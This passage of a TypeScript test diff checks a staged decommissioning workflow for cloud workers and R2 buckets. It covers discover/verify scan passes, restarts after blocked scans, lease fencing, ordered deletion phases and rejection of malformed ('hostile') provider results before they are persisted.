expect(aborted.store.record).toBe(abortedSnapshot); + }); + + it('discover completion starts a fresh verify pass without an action', async () => { + const harness = await boundedDecommissionHarness({ r2Names: ['FILES'] }); + const discover = await driveBoundedUntil( + harness, + (record) => record.decommissionIntent?.state === 'discover', + ); + const resourceBefore = harness.store.record?.applicationResources?.[0]; + const verified = await continueBoundedDecommission(harness, discover); + expect(harness.store.record?.decommissionIntent).toMatchObject({ + state: 'verify', + discoverEvidence: { + evidenceSha256: 'a'.repeat(64), + evidenceCount: 2, + }, + }); + expect(harness.store.record?.applicationResources?.[0]).toEqual( + resourceBefore, + ); + expect(verified.status).toBe('pending'); + }); + + it('matching verify atomically detaches and consumes scan payload', async () => { + const harness = await boundedDecommissionHarness({ r2Names: ['FILES'] }); + const discover = await driveBoundedUntil( + harness, + (record) => record.decommissionIntent?.state === 'discover', + ); + const verify = await continueBoundedDecommission(harness, discover); + await continueBoundedDecommission(harness, verify); + expect(harness.store.record?.applicationResources?.[0]?.state).toBe( + 'detached', + ); + expect(harness.store.record?.decommissionIntent).toMatchObject({ + state: 'transitioning', + }); + expect(harness.store.record?.decommissionIntent).not.toHaveProperty( + 'discoverEvidence', + ); + }); + + it('drift and independent digest or count mismatch restart discovery', async () => { + for (const mode of ['drift', 'digest', 'count'] as const) { + const harness = await boundedDecommissionHarness({ r2Names: ['FILES'] }); + const discover = await driveBoundedUntil( + harness, + (record) => record.decommissionIntent?.state === 'discover', + ); + const initialGeneration = + harness.store.record?.decommissionIntent?.generation ?? -1; + if (mode === 'drift') { + harness.backend.scanResults.push({ status: 'drift' }); + await continueBoundedDecommission(harness, discover); + } else { + const verify = await continueBoundedDecommission(harness, discover); + harness.backend.scanResults.push({ + status: 'complete', + evidenceSha256: mode === 'digest' ? 'b'.repeat(64) : 'a'.repeat(64), + evidenceCount: mode === 'count' ? 3 : 2, + providerFetchAttemptsReserved: 3, + }); + await continueBoundedDecommission(harness, verify); + } + expect(harness.store.record?.decommissionIntent).toMatchObject({ + state: 'discover', + generation: initialGeneration + 1, + }); + } + }); + + it('blocks from either pass and only an explicit current restart proceeds', async () => { + for (const pass of ['discover', 'verify'] as const) { + const harness = await boundedDecommissionHarness({ r2Names: ['FILES'] }); + let result = await driveBoundedUntil( + harness, + (record) => record.decommissionIntent?.state === 'discover', + ); + if (pass === 'verify') + result = await continueBoundedDecommission(harness, result); + harness.backend.scanResults.push({ + status: 'attached', + attachment: { plane: 'ordinary', scriptName: 'consumer' }, + providerFetchAttemptsReserved: 3, + }); + const blocked = await continueBoundedDecommission(harness, result); + expect(blocked).toMatchObject({ + status: 'blocked', + attachment: { plane: 'ordinary', scriptName: 'consumer' }, + }); + const calls = harness.backend.scanInputs.length; + await expect( + continueBoundedDecommission(harness, blocked), + ).resolves.toEqual(blocked); + expect(harness.backend.scanInputs).toHaveLength(calls); + const restarted = await advanceDecommissionDeployment( + boundedAdvanceOptions(harness, { + kind: 'restart-blocked', + token: blocked.token, + }), + ); + expect(restarted.status).toBe('pending'); + expect(harness.store.record?.decommissionIntent?.state).toBe('discover'); + await expect( + advanceDecommissionDeployment( + boundedAdvanceOptions(harness, { + kind: 'restart-blocked', + token: restarted.token, + }), + ), + ).rejects.toBeInstanceOf(DecommissionAdvanceRestartError); + } + + const prefixed = await boundedDecommissionHarness({ + r2Names: ['ARCHIVE', 'FILES'], + }); + const secondDiscover = await driveBoundedUntil( + prefixed, + (record) => + record.decommissionIntent?.state === 'discover' && + record.decommissionIntent.purpose.kind === 'application-r2-detach' && + record.decommissionIntent.purpose.resourceIndex === 1, + ); + prefixed.backend.scanResults.push({ + status: 'attached', + attachment: { plane: 'ordinary', scriptName: 'consumer' }, + providerFetchAttemptsReserved: 3, + }); + const secondBlocked = await continueBoundedDecommission( + prefixed, + secondDiscover, + ); + const prior = prefixed.store.record?.applicationResources?.[0]; + if (!prior?.creationDate) + throw new Error('missing deleted prefix identity'); + prefixed.backend.buckets.set(prior.bucketName, { + name: prior.name, + bucketName: prior.bucketName, + jurisdiction: prior.jurisdiction, + creationDate: prior.creationDate, + }); + const prefixFindImplementation = prefixed.backend.findApplicationR2Bucket; + let prefixFindGetterReads = 0; + Object.defineProperty(prefixed.backend, 'findApplicationR2Bucket', { + configurable: true, + get() { + prefixFindGetterReads += 1; + return prefixFindImplementation; + }, + }); + const prefixSnapshot = prefixed.store.record; + const prefixScans = prefixed.backend.scanInputs.length; + const prefixFinds = prefixed.backend.r2FindNames.length; + await expect( + advanceDecommissionDeployment( + boundedAdvanceOptions(prefixed, { + kind: 'restart-blocked', + token: secondBlocked.token, + }), + ), + ).rejects.toThrow(/reappeared after deletion/u); + expect(prefixed.store.record).toBe(prefixSnapshot); + expect(prefixed.backend.scanInputs).toHaveLength(prefixScans); + expect(prefixFindGetterReads).toBe(1); + expect(prefixed.backend.r2FindNames.slice(prefixFinds)).toEqual([ + 'ARCHIVE', + ]); + + const d1Blocked = await boundedDecommissionHarness(); + const d1Started = await startBoundedDecommission(d1Blocked); + const d1Intent = d1Blocked.store.record?.decommissionIntent; + if (!d1Intent) throw new Error('missing D1 blocked intent'); + d1Blocked.store.record = { + ...(d1Blocked.store.record as FleetRecord), + decommissionIntent: { + ...d1Intent, + lifecyclePhase: 'application-resources-deleted', + state: 'blocked', + purpose: { + kind: 'database-pre-export', + databaseId: d1Blocked.store.record?.databaseId as string, + }, + attachment: { plane: 'ordinary', scriptName: 'consumer' }, + }, + }; + await expect( + advanceDecommissionDeployment( + boundedAdvanceOptions(d1Blocked, { + kind: 'restart-blocked', + token: d1Started.token, + }), + ), + ).rejects.toBeInstanceOf(DecommissionAdvanceRestartError); + expect(d1Blocked.backend.scanInputs).toHaveLength(0); + }); + + it('rejects hostile provider results before persistence', async () => { + const hostile = await boundedDecommissionHarness({ r2Names: ['FILES'] }); + const hostileDiscover = await driveBoundedUntil( + hostile, + (record) => record.decommissionIntent?.state === 'discover', + ); + const hostileIntent = hostile.store.record?.decommissionIntent; + if (hostileIntent?.state !== 'discover') { + throw new Error('missing hostile-result discover progress'); + } + const validProgress = hostileIntent.progress; + const rows: readonly DecommissionAttachmentScanResult[] = [ + { + status: 'pending', + progress: {} as never, + providerFetchAttemptsReserved: 3, + }, + { + status: 'pending', + progress: { + ...validProgress, + target: { kind: 'r2', bucketName: 'another-bucket' }, + }, + providerFetchAttemptsReserved: 3, + }, + { + status: 'pending', + progress: validProgress, + } as never, + { + status: 'pending', + progress: validProgress, + providerFetchAttemptsReserved: -1, + }, + { + status: 'pending', + progress: validProgress, + providerFetchAttemptsReserved: 1.5, + }, + { + status: 'pending', + progress: validProgress, + providerFetchAttemptsReserved: 13, + }, + { + status: 'attached', + attachment: { plane: 'dispatch', scriptName: 'broken' } as never, + providerFetchAttemptsReserved: 3, + }, + { + status: 'attached', + attachment: { + plane: 'ordinary', + scriptName: 'é'.repeat(2_049), + }, + providerFetchAttemptsReserved: 3, + }, + { + status: 'complete', + evidenceSha256: 'not-a-digest', + evidenceCount: 2, + providerFetchAttemptsReserved: 3, + }, + { + status: 'complete', + evidenceSha256: 'a'.repeat(64), + evidenceCount: 1, + providerFetchAttemptsReserved: 3, + }, + { + status: 'complete', + evidenceSha256: 'a'.repeat(64), + evidenceCount: 1_000_001, + providerFetchAttemptsReserved: 3, + }, + { + status: 'complete', + evidenceSha256: 'a'.repeat(64), + evidenceCount: 2, + providerFetchAttemptsReserved: 13, + }, + ]; + for (const row of rows) { + hostile.backend.scanResults.push(row); + const snapshot = hostile.store.record; + await expect( + continueBoundedDecommission(hostile, hostileDiscover), + ).rejects.toThrow(/malformed/u); + expect(hostile.store.record).toBe(snapshot); + } + + let topLevelGetterReads = 0; + const topLevelAccessor: Record = {}; + Object.defineProperty(topLevelAccessor, 'status', { + enumerable: true, + get() { + topLevelGetterReads += 1; + return 'drift'; + }, + }); + let proxyTrapCalls = 0; + const hostileProxy = new Proxy( + {}, + { + getPrototypeOf() { + proxyTrapCalls += 1; + throw new Error('proxy trap must be normalized'); + }, + }, + ); + let nestedGetterReads = 0; + const nestedAccessor: Record = { + scriptName: 'consumer', + }; + Object.defineProperty(nestedAccessor, 'plane', { + enumerable: true, + get() { + nestedGetterReads += 1; + return 'ordinary'; + }, + }); + let alternatingScriptNameReads = 0; + const alternatingAttachment: Record = { + plane: 'ordinary', + }; + Object.defineProperty(alternatingAttachment, 'scriptName', { + enumerable: true, + get() { + alternatingScriptNameReads += 1; + return alternatingScriptNameReads % 2 === 1 ? 'consumer' : ''; + }, + }); + const symbolResult = { status: 'drift' } as Record< + string | symbol, + unknown + >; + symbolResult[Symbol('hostile')] = true; + const cyclicResult: Record = { status: 'drift' }; + cyclicResult.self = cyclicResult; + const hostileRows = [ + { + label: 'top-level accessor', + row: topLevelAccessor, + reads: () => topLevelGetterReads, + expectedReads: 0, + }, + { + label: 'top-level proxy', + row: hostileProxy, + reads: () => proxyTrapCalls, + expectedReads: 1, + }, + { + label: 'nested accessor', + row: { + status: 'attached', + attachment: nestedAccessor, + providerFetchAttemptsReserved: 3, + }, + reads: () => nestedGetterReads, + expectedReads: 0, + }, + { + label: 'alternating scriptName accessor', + row: { + status: 'attached', + attachment: alternatingAttachment, + providerFetchAttemptsReserved: 3, + }, + reads: () => alternatingScriptNameReads, + expectedReads: 0, + }, + { + label: 'symbol key', + row: symbolResult, + reads: () => 0, + expectedReads: 0, + }, + { + label: 'cycle', + row: cyclicResult, + reads: () => 0, + expectedReads: 0, + }, + { + label: 'scalar bound', + row: { status: 'drift', extra: 'x'.repeat(96 * 1_024) }, + reads: () => 0, + expectedReads: 0, + }, + { + label: 'node bound', + row: { + status: 'drift', + extra: Array.from({ length: 8_192 }, () => null), + }, + reads: () => 0, + expectedReads: 0, + }, + ] as const; + for (const row of hostileRows) { + hostile.backend.scanResults.push(row.row as never); + const before = JSON.stringify(hostile.store.record); + const writes = hostile.store.phases.length; + const failure = await continueBoundedDecommission( + hostile, + hostileDiscover, + ).catch((error: unknown) => error); + expect(failure, row.label).toMatchObject({ + name: 'Error', + message: 'bounded decommission attachment result is malformed', + }); + expect(row.reads(), row.label).toBe(row.expectedReads); + expect(hostile.store.phases, row.label).toHaveLength(writes); + expect(JSON.stringify(hostile.store.record), row.label).toBe(before); + } + + const progressBoundary = await boundedDecommissionHarness({ + r2Names: ['FILES'], + }); + const progressBoundaryDiscover = await driveBoundedUntil( + progressBoundary, + (record) => record.decommissionIntent?.state === 'discover', + ); + const progressBoundaryIntent = + progressBoundary.store.record?.decommissionIntent; + if (progressBoundaryIntent?.state !== 'discover') { + throw new Error('missing boundary discover progress'); + } + const digest = (value: string) => + createHash('sha256').update(value).digest('hex'); + const pageStartCursor = 'p'.repeat(4_096); + const nextCursor = 'n'.repeat(4_096); + const seenCursorSha256 = [ + ...Array.from({ length: 97 }, (_, index) => digest(`cursor-${index}`)), + digest(pageStartCursor), + digest(nextCursor), + ]; + const legalBoundaryProgress = { + version: 1, + target: progressBoundaryIntent.progress.target, + evidenceSha256: 'a'.repeat(64), + evidenceCount: 1_000_000, + stage: 'dispatch-script-settings', + ordinaryInventorySha256: 'b'.repeat(64), + namespaceInventorySha256: 'c'.repeat(64), + namespaceIndex: 0, + namespaceName: 'm'.repeat(4_096), + pageStartCursor, + nextCursor, + pageSha256: 'd'.repeat(64), + pageItemCount: 1, + itemOffset: 0, + pageNumber: 98, + seenCursorSha256, + totalDispatchItems: 10_000, + dispatchEvidenceSum256: 'e'.repeat(64), + dispatchEvidenceCount: 9_999, + } as const; + progressBoundary.backend.scanResults.push({ + status: 'pending', + progress: legalBoundaryProgress, + providerFetchAttemptsReserved: 12, + }); + const progressBoundaryPending = await continueBoundedDecommission( + progressBoundary, + progressBoundaryDiscover, + ); + expect(progressBoundaryPending).toMatchObject({ status: 'pending' }); + expect(progressBoundary.store.record?.decommissionIntent).toMatchObject({ + state: 'discover', + progress: legalBoundaryProgress, + }); + progressBoundary.backend.scanResults.push({ + status: 'complete', + evidenceSha256: 'f'.repeat(64), + evidenceCount: 1_000_000, + providerFetchAttemptsReserved: 3, + }); + await expect( + continueBoundedDecommission(progressBoundary, progressBoundaryPending), + ).resolves.toMatchObject({ status: 'pending' }); + expect(progressBoundary.store.record?.decommissionIntent).toMatchObject({ + state: 'verify', + discoverEvidence: { + evidenceSha256: 'f'.repeat(64), + evidenceCount: 1_000_000, + }, + }); + + const boundary = await boundedDecommissionHarness({ r2Names: ['FILES'] }); + const boundaryDiscover = await driveBoundedUntil( + boundary, + (record) => record.decommissionIntent?.state === 'discover', + ); + boundary.backend.scanResults.push({ + status: 'attached', + attachment: { + plane: 'ordinary', + scriptName: 'x'.repeat(4_096), + token: 'must-not-persist', + } as never, + providerFetchAttemptsReserved: 3, + token: 'must-not-persist', + } as never); + await expect( + continueBoundedDecommission(boundary, boundaryDiscover), + ).resolves.toMatchObject({ + status: 'blocked', + attachment: { plane: 'ordinary', scriptName: 'x'.repeat(4_096) }, + }); + expect( + JSON.stringify(boundary.store.record?.decommissionIntent), + ).not.toContain('must-not-persist'); + }); + + it('lease contention and loss fence scan consumption and destructive actions', async () => { + const contended = await boundedDecommissionHarness(); + contended.store.leased = true; + await expect(startBoundedDecommission(contended)).rejects.toThrow( + /already being modified/u, + ); + contended.store.leased = false; + + const harness = await boundedDecommissionHarness({ r2Names: ['FILES'] }); + const discover = await driveBoundedUntil( + harness, + (record) => record.decommissionIntent?.state === 'discover', + ); + const verify = await continueBoundedDecommission(harness, discover); + const lost = new Error('lease lost before detach'); + harness.store.assertOwnedFailure = lost; + await expect(continueBoundedDecommission(harness, verify)).rejects.toBe( + lost, + ); + expect(harness.store.record?.decommissionIntent?.state).toBe('verify'); + expect(harness.store.record?.applicationResources?.[0]?.state).toBe( + 'detach-authorized', + ); + harness.store.assertOwnedFailure = undefined; + await continueBoundedDecommission(harness, verify); + expect(harness.backend.scanInputs.length).toBeGreaterThanOrEqual(2); + }); + + it('executes one lifecycle group per call through application resource deletion', async () => { + const harness = await boundedDecommissionHarness(); + let result = await startBoundedDecommission(harness); + const expected = [ + { + lifecyclePhase: 'decommissioning', + events: [], + databaseReads: 0, + removeTraffic: 0, + assertTraffic: 0, + residuals: 0, + }, + { + lifecyclePhase: 'traffic-removed', + events: [], + databaseReads: 1, + removeTraffic: 1, + assertTraffic: 1, + residuals: 0, + }, + { + lifecyclePhase: 'credentials-revoked', + events: ['revoke'], + databaseReads: 1, + removeTraffic: 0, + assertTraffic: 1, + residuals: 0, + }, + { + lifecyclePhase: 'worker-deleted', + events: ['delete-worker'], + databaseReads: 1, + removeTraffic: 0, + assertTraffic: 0, + residuals: 1, + }, + { + lifecyclePhase: 'platform-credentials-revoked', + events: [], + databaseReads: 0, + removeTraffic: 0, + assertTraffic: 0, + residuals: 0, + }, + { + lifecyclePhase: 'platform-resources-deleted', + events: [], + databaseReads: 0, + removeTraffic: 0, + assertTraffic: 0, + residuals: 0, + }, + { + lifecyclePhase: 'application-resources-deleting', + events: [], + databaseReads: 0, + removeTraffic: 0, + assertTraffic: 0, + residuals: 0, + }, + { + lifecyclePhase: 'application-resources-deleted', + events: [], + databaseReads: 0, + removeTraffic: 0, + assertTraffic: 0, + residuals: 0, + }, + ] as const; + for (const step of expected) { + const eventCount = harness.backend.events.length; + const databaseReads = harness.backend.databaseIdsRead.length; + const removeTraffic = harness.backend.removeTrafficCalls; + const assertTraffic = harness.backend.assertTrafficRemovedCalls; + const residuals = harness.backend.residualCalls; + const writes = harness.store.phases.length; + result = await continueBoundedDecommission(harness, result); + expect(harness.store.record?.decommissionIntent?.lifecyclePhase).toBe( + step.lifecyclePhase, + ); + expect(harness.backend.events.slice(eventCount)).toEqual(step.events); + expect(harness.backend.databaseIdsRead.length - databaseReads).toBe( + step.databaseReads, + ); + expect(harness.backend.removeTrafficCalls - removeTraffic).toBe( + step.removeTraffic, + ); + expect(harness.backend.assertTrafficRemovedCalls - assertTraffic).toBe( + step.assertTraffic, + ); + expect(harness.backend.residualCalls - residuals).toBe(step.residuals); + expect(harness.store.phases).toHaveLength(writes + 1); + expect(harness.store.phases.at(-1)).toBe('decommission-advancing'); + } + expect(result.status).toBe('pending'); + expect(harness.backend.events).not.toContain('export'); + expect(harness.backend.events).not.toContain('delete-database'); + + const platform = await boundedDecommissionHarness({ + kind: 'workers-for-platforms', + external: true, + }); + expect(platform.store.record?.platformResources).toBeDefined(); + const platformTrace: string[] = []; + const getDatabaseImplementation = platform.backend.getDatabase.bind( + platform.backend, + ); + const revokePlatformImplementation = + platform.backend.revokePlatformResourceCredentials.bind(platform.backend); + const deletePlatformImplementation = + platform.backend.deletePlatformResources.bind(platform.backend); + const residualImplementation = + platform.backend.assertDatabaseDeletionResidualsRemoved.bind( + platform.backend, + ); + const putImplementation = platform.store.put.bind(platform.store); + Object.defineProperties(platform.backend, { + getDatabase: { + configurable: true, + value: async (databaseId: string) => { + platformTrace.push('d1-read'); + return getDatabaseImplementation(databaseId); + }, + }, + revokePlatformResourceCredentials: { + configurable: true, + value: async () => { + platformTrace.push('revoke-platform'); + await revokePlatformImplementation(); + }, + }, + deletePlatformResources: { + configurable: true, + value: async (deployment: DeploymentSpec, record: FleetRecord) => { + platformTrace.push('delete-platform'); + await deletePlatformImplementation(deployment, record); + }, + }, + assertDatabaseDeletionResidualsRemoved: { + configurable: true, + value: async () => { + platformTrace.push('residual'); + await residualImplementation(); + }, + }, + }); + Object.defineProperty(platform.store, 'put', { + configurable: true, + value: async (record: FleetRecord) => { + platformTrace.push('write'); + await putImplementation(record); + }, + }); + let platformResult = await startBoundedDecommission(platform); + const platformExpected = [ + { + lifecyclePhase: 'decommissioning', + events: [], + databaseReads: 0, + residuals: 0, + }, + { + lifecyclePhase: 'traffic-removed', + events: [], + databaseReads: 1, + residuals: 0, + }, + { + lifecyclePhase: 'credentials-revoked', + events: ['revoke'], + databaseReads: 1, + residuals: 0, + }, + { + lifecyclePhase: 'worker-deleted', + events: ['delete-worker'], + databaseReads: 1, + residuals: 0, + }, + { + lifecyclePhase: 'platform-credentials-revoked', + events: ['revoke-platform'], + databaseReads: 1, + residuals: 0, + }, + { + lifecyclePhase: 'platform-resources-deleted', + events: ['delete-platform'], + databaseReads: 1, + residuals: 1, + }, + ] as const; + for (const step of platformExpected) { + const eventCount = platform.backend.events.length; + const databaseReads = platform.backend.databaseIdsRead.length; + const residuals = platform.backend.residualCalls; + const writes = platform.store.phases.length; + const traceStart = platformTrace.length; + platformResult = await continueBoundedDecommission( + platform, + platformResult, + ); + expect(platform.store.record?.decommissionIntent?.lifecyclePhase).toBe( + step.lifecyclePhase, + ); + expect(platform.backend.events.slice(eventCount)).toEqual(step.events); + expect(platform.backend.databaseIdsRead.length - databaseReads).toBe( + step.databaseReads, + ); + expect(platform.backend.residualCalls - residuals).toBe(step.residuals); + expect(platform.store.phases).toHaveLength(writes + 1); + expect(platform.store.phases.at(-1)).toBe('decommission-advancing'); + if (step.lifecyclePhase === 'platform-credentials-revoked') { + expect(platformTrace.slice(traceStart)).toEqual([ + 'd1-read', + 'revoke-platform', + 'write', + ]); + } + if (step.lifecyclePhase === 'platform-resources-deleted') { + expect(platformTrace.slice(traceStart)).toEqual([ + 'd1-read', + 'delete-platform', + 'residual', + 'write', + ]); + } + } + expect(platform.backend.events).toEqual([ + 'revoke', + 'delete-worker', + 'revoke-platform', + 'delete-platform', + ]); + expect(platform.backend.databaseIdsRead).toEqual([ + 'database-id', + 'database-id', + 'database-id', + 'database-id', + 'database-id', + ]); + expect(platform.backend.residualCalls).toBe(1); + + for (const drift of ['absent', 'name', 'owner'] as const) { + const exact = await boundedDecommissionHarness(); + const decommissioning = await driveBoundedUntil( + exact, + (record) => + record.decommissionIntent?.lifecyclePhase === 'decommissioning', + ); + if (drift === 'absent') exact.backend.databaseExists = false; + if (drift === 'name') exact.backend.databaseName = 'wrong-name'; + if (drift === 'owner') exact.backend.databaseOwner = 'other-owner'; + const before = exact.store.record; + await expect( + continueBoundedDecommission(exact, decommissioning), + ).rejects.toThrow(/absent|unexpected identity|owned by/u); + expect(exact.store.record).toBe(before); + expect(exact.backend.removeTrafficCalls).toBe(0); + } + + for (const lifecyclePhase of [ + 'worker-deleted', + 'platform-credentials-revoked', + ] as const) { + for (const drift of ['absent', 'name', 'owner'] as const) { + const exact = await boundedDecommissionHarness({ + kind: 'workers-for-platforms', + external: true, + }); + await driveBoundedUntil( + exact, + (record) => + record.decommissionIntent?.lifecyclePhase === lifecyclePhase, + ); + if (drift === 'absent') exact.backend.databaseExists = false; + if (drift === 'name') exact.backend.databaseName = 'wrong-name'; + if (drift === 'owner') exact.backend.databaseOwner = 'other-owner'; + const authoritative = await startBoundedDecommission(exact); + const before = exact.store.record; + const eventCount = exact.backend.events.length; + await expect( + continueBoundedDecommission(exact, authoritative), + ).rejects.toThrow(/absent|unexpected identity|owned by/u); + expect(exact.store.record).toBe(before); + expect(exact.backend.events).toHaveLength(eventCount); + } + } + }); + + it('starts exact created and detach-authorized live R2 targets', async () => { + const harness = await boundedDecommissionHarness({ r2Names: ['FILES'] }); + const discover = await driveBoundedUntil( + harness, + (record) => record.decommissionIntent?.state === 'discover', + ); + const intent = harness.store.record?.decommissionIntent; + const resource = harness.store.record?.applicationResources?.[0]; + expect(intent).toMatchObject({ + state: 'discover', + purpose: { + kind: 'application-r2-detach', + resourceIndex: 0, + name: resource?.name, + bucketName: resource?.bucketName, + reservationNonce: resource?.reservationNonce, + }, + }); + expect(discover.status).toBe('pending'); + + if (!resource) throw new Error('missing R2 resource'); + const mutated = { + ...resource, + reservationNonce: 'z'.repeat(32), + }; + const invalid = await boundedDecommissionHarness({ r2Names: ['FILES'] }); + invalid.store.record = { + ...(invalid.store.record as FleetRecord), + applicationResources: [mutated], + }; + const reads = invalid.backend.r2FindCalls; + await expect(startBoundedDecommission(invalid)).rejects.toThrow( + /reservation nonce/u, + ); + expect(invalid.backend.r2FindCalls).toBe(reads); + + const postTraffic = await boundedDecommissionHarness({ + r2Names: ['FILES'], + }); + const trafficRemoved = await driveBoundedUntil( + postTraffic, + (record) => + record.decommissionIntent?.lifecyclePhase === 'traffic-removed', + ); + const postTrafficResource = + postTraffic.store.record?.applicationResources?.[0]; + if (!postTrafficResource) { + throw new Error('missing post-traffic R2 resource'); + } + postTraffic.store.record = { + ...(postTraffic.store.record as FleetRecord), + applicationResources: [ + { ...postTrafficResource, reservationNonce: 'z'.repeat(32) }, + ], + }; + const trafficReads = postTraffic.backend.assertTrafficRemovedCalls; + await expect( + continueBoundedDecommission(postTraffic, trafficRemoved), + ).rejects.toThrow(/reservation nonce/u); + expect(postTraffic.backend.assertTrafficRemovedCalls).toBe(trafficReads); + }); + + it('advances detached to empty-authorized and empty-authorized to empty one step each', async () => { + const harness = await boundedDecommissionHarness({ r2Names: ['FILES'] }); + let result = await driveBoundedUntil( + harness, + (record) => record.applicationResources?.[0]?.state === 'detached', + ); + result = await continueBoundedDecommission(harness, result); + expect(harness.store.record?.applicationResources?.[0]?.state).toBe( + 'empty-authorized', + ); + harness.backend.nonempty = true; + const snapshot = harness.store.record; + await expect(continueBoundedDecommission(harness, result)).rejects.toThrow( + /not empty/u, + ); + expect(harness.store.record).toBe(snapshot); + harness.backend.nonempty = false; + await continueBoundedDecommission(harness, result); + expect(harness.store.record?.applicationResources?.[0]?.state).toBe( + 'empty', + ); + }); + + it('persists empty to delete-authorized before physical deletion', async () => { + const harness = await boundedDecommissionHarness({ r2Names: ['FILES'] }); + let result = await driveBoundedUntil( + harness, + (record) => record.applicationResources?.[0]?.state === 'empty', + ); + const calls = harness.backend.deleteCalls; + result = await continueBoundedDecommission(harness, result); + expect(harness.store.record?.applicationResources?.[0]?.state).toBe( + 'delete-authorized', + ); + expect(harness.backend.deleteCalls).toBe(calls); + await continueBoundedDecommission(harness, result); + expect(harness.backend.deleteCalls).toBe(calls + 1); + }); + + it('reconciles lost delete responses and deleted writes without duplicate mutation', async () => { + const beforeCommit = await boundedDecommissionHarness({ + r2Names: ['FILES'], + }); + const authorized = await driveBoundedUntil( + beforeCommit, + (record) => + record.applicationResources?.[0]?.state === 'delete-authorized', + ); + const sentinel = new Error('delete failed before commit'); + beforeCommit.backend.deleteFailureBeforeCommit = sentinel; + await expect( + continueBoundedDecommission(beforeCommit, authorized), + ).rejects.toBe(sentinel); + expect(beforeCommit.store.record?.applicationResources?.[0]?.state).toBe( + 'delete-authorized', + ); + + const precommitStore = new MemoryStore(); + const precommitWrite = await boundedDecommissionHarness({ + r2Names: ['FILES'], + store: precommitStore, + }); + const precommitAuthorized = await driveBoundedUntil( + precommitWrite, + (record) => + record.applicationResources?.[0]?.state === 'delete-authorized', + ); + precommitStore.failPutApplicationState = { + name: 'FILES', + state: 'deleted', + }; + const successfulDeletes = precommitWrite.backend.deleteCalls; + await expect( + continueBoundedDecommission(precommitWrite, precommitAuthorized), + ).rejects.toThrow('failed state write at FILES:deleted'); + expect(precommitWrite.backend.deleteCalls).toBe(successfulDeletes + 1); + expect(precommitWrite.store.record?.applicationResources?.[0]?.state).toBe( + 'delete-authorized', + ); + await continueBoundedDecommission(precommitWrite, precommitAuthorized); + expect(precommitWrite.backend.deleteCalls).toBe(successfulDeletes + 1); + expect(precommitWrite.store.record?.applicationResources?.[0]?.state).toBe( + 'deleted', + ); + + const afterCommit = await boundedDecommissionHarness({ + r2Names: ['FILES'], + store: new CommitThenThrowStore(), + }); + const deleteToken = await driveBoundedUntil( + afterCommit, + (record) => + record.applicationResources?.[0]?.state === 'delete-authorized', + ); + afterCommit.backend.deleteFailureAfterCommit = new Error( + 'delete response lost', + ); + ( + afterCommit.store as CommitThenThrowStore + ).failAfterCommittedApplicationState = { + name: 'FILES', + state: 'deleted', + }; + await expect( + continueBoundedDecommission(afterCommit, deleteToken), + ).rejects.toThrow(/response was lost/u); + expect(afterCommit.store.record?.applicationResources?.[0]?.state).toBe( + 'deleted', + ); + expect(afterCommit.backend.deleteCalls).toBe(1); + const replayed = await continueBoundedDecommission( + afterCommit, + deleteToken, + ); + await expect( + continueBoundedDecommission(afterCommit, deleteToken), + ).resolves.toEqual(replayed); + expect(afterCommit.backend.deleteCalls).toBe(1); + }); + + it('orders two resources without rewind and stops inertly at the D1 boundary', async () => { + const harness = await boundedDecommissionHarness({ + r2Names: ['ARCHIVE', 'FILES'], + }); + let result = await startBoundedDecommission(harness); + for (let step = 0; step < 64; step += 1) { + const resources = harness.store.record?.applicationResources ?? []; + if ( + resources[0]?.state === 'deleted' && + resources[1]?.state !== 'deleted' + ) { + const first = resources[0]; + harness.backend.buckets.set(first.bucketName, { + name: first.name, + bucketName: first.bucketName, + jurisdiction: first.jurisdiction, + creationDate: first.creationDate as string, + }); + let authoritative: DecommissionAdvanceResult | undefined; + let refusal: unknown; + try { + authoritative = await continueBoundedDecommission(harness, result); + } catch (error) { + refusal = error; + } + if (refusal !== undefined) { + expect(refusal).toMatchObject({ + message: expect.stringMatching(/reappeared/u), + }); + } else { + if (!authoritative) throw new Error('missing authoritative token'); + await expect( + continueBoundedDecommission(harness, authoritative), + ).rejects.toThrow(/reappeared/u); + result = authoritative; + } + harness.backend.buckets.delete(first.bucketName); + } + if ( + harness.store.record?.decommissionIntent?.lifecyclePhase === + 'application-resources-deleted' + ) { + break; + } + result = await continueBoundedDecommission(harness, result); + } + expect( + harness.store.record?.applicationResources?.map(({ state }) => state), + ).toEqual(['deleted', 'deleted']); + expect(harness.store.record?.decommissionIntent?.generation).toBe(2); + const scans = harness.backend.scanInputs.length; + const inert = await continueBoundedDecommission(harness, result); + expect(inert).toEqual(result); + expect(harness.backend.scanInputs).toHaveLength(scans); + + for (const mode of [ + 'discover', + 'verify', + 'pending', + 'drift', + 'attached', + ] as const) { + const prefixed = await boundedDecommissionHarness({ + r2Names: ['ARCHIVE', 'FILES'], + }); + let current = await driveBoundedUntil( + prefixed, + (record) => + record.decommissionIntent?.state === 'discover' && + record.decommissionIntent.purpose.kind === 'application-r2-detach' && + record.decommissionIntent.purpose.resourceIndex === 1, + ); + const scanIntent = prefixed.store.record?.decommissionIntent; + if (scanIntent?.state !== 'discover') { + throw new Error('missing second-resource discover state'); + } + if (mode === 'verify') { + current = await continueBoundedDecommission(prefixed, current); + } else if (mode === 'pending') { + prefixed.backend.scanResults.push({ + status: 'pending', + progress: scanIntent.progress, + providerFetchAttemptsReserved: 3, + }); + current = await continueBoundedDecommission(prefixed, current); + } else if (mode === 'drift') { + prefixed.backend.scanResults.push({ status: 'drift' }); + } else if (mode === 'attached') { + prefixed.backend.scanResults.push({ + status: 'attached', + attachment: { plane: 'ordinary', scriptName: 'consumer' }, + providerFetchAttemptsReserved: 3, + }); + } + const deleted = prefixed.store.record?.applicationResources?.[0]; + if (!deleted?.creationDate) { + throw new Error('missing first-resource deletion identity'); + } + prefixed.backend.buckets.set(deleted.bucketName, { + name: deleted.name, + bucketName: deleted.bucketName, + jurisdiction: deleted.jurisdiction, + creationDate: deleted.creationDate, + }); + const snapshot = prefixed.store.record; + const scanCount = prefixed.backend.scanInputs.length; + const findCount = prefixed.backend.r2FindNames.length; + const writeCount = prefixed.store.phases.length; + await expect( + continueBoundedDecommission(prefixed, current), + mode, + ).rejects.toThrow(/reappeared after deletion/u); + expect(prefixed.store.record, mode).toBe(snapshot); + expect(prefixed.backend.scanInputs, mode).toHaveLength(scanCount); + expect(prefixed.store.phases, mode).toHaveLength(writeCount); + expect(prefixed.backend.r2FindNames.slice(findCount), mode).toEqual([ + 'ARCHIVE', + ]); + } + + for (const state of ['reserved', 'create-authorized'] as const) { + for (const mode of ['discover', 'verify', 'restart'] as const) { + const hostile = await boundedDecommissionHarness({ + r2Names: ['ARCHIVE', 'FILES'], + }); + let current = await driveBoundedUntil( + hostile, + (record) 